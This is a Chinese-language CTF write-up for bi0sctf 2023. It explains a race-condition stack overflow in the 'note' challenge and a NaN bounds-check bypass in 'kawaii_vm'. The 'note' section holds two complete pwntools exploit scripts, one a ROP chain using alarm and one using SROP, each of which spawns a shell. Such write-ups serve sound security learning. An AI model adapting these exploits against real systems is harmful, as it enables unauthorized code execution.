bi0sctf-2023

2023的bi0sctf!虽然还是卡在了第一个pwn题,但是题目也算是有意思。(还是挺难的)

note

解法1

在main()里面,产生两个线程。一个线程用来进行heap相关操作,增删改查,另一个用来把heap中输入的内容复制到一个本地的临时变量中。

image-20230124122608595

其实还是相当明显的,是一个条件竞争问题。在start_routine中,有一个明显的TOCTOU栈溢出。当检查完size之后,可以很快的在sleep的同时,修改content,导致后面memcpy()的时候栈溢出。尽管这里有一个enc(),但是他是可逆的,并且我们也不太需要关注。因为完全可以在sleep(1u)这个时间点把内容copy到本地栈上去。

image-20230124122704447

但是在getshell的时候会出现一些问题。首先是泄露libc,并不能找到很好的泄露函数。而如果直接syscall,则找不到简单的控制rax==0x3b的方法,无法调用execve。这里学到了使用alarm(其实之前见过,忘记了)。当alarm第二次调用时,rax中会储存上一次调用alarm时设置的时间还剩下对少。因此如果我们如下构造ropchain,就能得到一个0x3b的rax。而很巧的是,在栈溢出的时候,rdx和rsi都是0。因此我们也就只剩下rdi需要考虑了。

1
2
3
4
5
6
pop rdi
0x3b
call alarm
pop rdi
0x3b
call alarm # <--- rax will become 0x3b

对于rdi,我们需要读入一个/bin/sh。程序中print函数正好可以被利用。如下可以看到,由于我们可以通过pip rdi控制输入参数,只要输入一个bss的地址,就可以在这里read(a1,8)的地方读入一个”/bin/sh”。

image-20230124123815759

因此,我们只需要做以下几件事情

  1. add一个正常的note

  2. sleep(2)来度过另一个线程的sleep和encrypt阶段

  3. 构造payload

    1. 设置rax
    2. 读入/bin/sh
    3. 布置execve()
  4. 触发栈溢出

完整payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
import time
filename="./notes_ori"
libc_name="/home/nicholas/glibc-all-in-one/libs/2.34-0ubuntu3.2_amd64/libc.so.6"
io = process(filename)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']



def add(_id, name, size, content):
io.recvuntil("Choice: ")
io.sendline('1')
io.recvuntil("ID: ")
io.send(_id)
io.recvuntil("Name: ")
io.send(name)
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content: ")
io.send(content)

def anti_ciph(content):
content = content.ljust(0x3ff,'\x90')
result = b""
secret = "2111485077978050"
for i in range(0,1023):
ans = content[i]^ord(key[i%16])
ans_byte = ans.to_bytes(1,byteorder="little")
result += bytearray(ans_byte)
return result

def debug():
gdb.attach(io, "b *0x401B7A")


pop_rdi = 0x0000000000401bc0
syscall = 0x401BC2

alarm = 0x401060
edits = 0x00401795 # edit function

bss = elf.bss() + 0x500

add("a","a",30,"a") # pass check
# payload
payload = b""
payload += b'a'*(64+8)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(edits)
payload += p64(pop_rdi)
payload += p64(0x3b)
payload += p64(alarm)
payload += p64(pop_rdi)
payload += p64(0x3b)
payload += p64(alarm) # set rax = 0x3b
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(syscall)


time.sleep(2)
# debug()
add("a","a",0x200,payload)



# write into bss
input(">")
io.recvuntil("Enter Note ID: ")
io.send("//bin/sh\x00")
io.recvuntil("Note Name: ")
io.sendline("/bin/sh\x00")
io.recvuntil("Content: ")
io.sendline('a')


io.interactive()

image-20230124124049171

解法2

这里还在discord上面看到一种解法,即不适用alarm()来控制rax,而是使用srop。这样只需要在retFrame里面填上相应的数值即可。不过代价是需要的空间更大(100左右字节)。作者的wp如下。这里也是第一次见到srop的这种用法(太菜了…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
def store(note_id, name, size, data):
sl(b"1")
sla(b"ID: ", note_id)
sla(b"Name: ", name)
sla(b"Size: ", size)
sla(b"Content: ", data)

def delete(note_id):
sl(b"2")
sla(b"ID: ", note_id)

def print_note(note_id):
sl(b"3")
sla(b"ID: ", note_id)

def upgrade(size, name):
sl(b"4")
sla(b"Size: ", size)
sla(b"Name: ", name)

def encrypt(note_id, data):
sl(b"5")
sla(b"ID: ", note_id)
sla(b"Content: ", data)

def prepare_enc(data):
#print(data.hex())
return xor(data, b"2111485077978050")


bss = 0x404100
pop_rdi = p64(0x401bc0)
read = p64(0x4013D6)


frame = SigreturnFrame(kernel='amd64')
frame.rip = 0x401bc2 # syscall;
frame.rax = 59 # RT_SIGRETURN
frame.rdi = bss # /bin/sh
frame.rsi = 0x404200 # NULL
frame.rdx = 0x404208 # NULL

payload = b"A" * 64 + p64(0) + pop_rdi + p64(bss) + read + pop_rdi + p64(15) + p64(elf.plt.syscall) + bytes(frame)

store(b"1", b"pepe", 64, b"A"*64)
encrypt(b"1", prepare_enc(payload))
sleep(6)
store(b"1", b"pepe", 64, b"A"*64)
sleep(2)
upgrade(len(payload), b"pepe")
sleep(3)
sla(b"Sent", b"//bin/sh\x00")
sl(b"//bin/sh\x00")
sl(b"//bin/sh\x00")
io.interactive()

kawaii_vm

作者的writeup

这道题其实利用上只能说是很麻烦,但是用到的技巧并不多。逆向起来会需要一些时间。程序在check中,如果一开始请求的页数是nan(直接输入字符的形式)则会通过很多的检查。如下。包括下面计算的bytes_num,以及后面一页中对于输入语法的check等。

image-20230125095147269

在对于语法的check中,会检查当前写入的数组下标是否超过了当时写的数组大小的界限。如果返回true就说明越界了。但是nan使得一直返回false。

image-20230125095530502

在exec()中,是一个虚拟机。除了一般的加减乘除之外,还包括对于栈的出入,对于一个array的写入和读取操作。注意到array开始位置在libc上面附近,因此由于我们可以任意长度读取写入,相当于我们就有了对libc的任意读写的能力。作者的libc是2.36的,基本没有FSOP(有一篇文章通过angr验证了当前libc中可用的FSOP方法已经不多了)。结合程序开了orw保护,应该只能劫持返回地址了。

作者给的思路是通过写tcachebins,从而控制malloc返回的地址到可控地址,之后用虚拟机自身指令修改vm的栈指针指向一个栈上地址再做rop。因为libc没有调试符号,不太想做了==

image-20230125100335357

这题的收获是逆向起来还是有点意思,以及nan的使用。

文章目录
  1. 1. note
    1. 1.1. 解法1
    2. 1.2. 解法2
  2. 2. kawaii_vm
|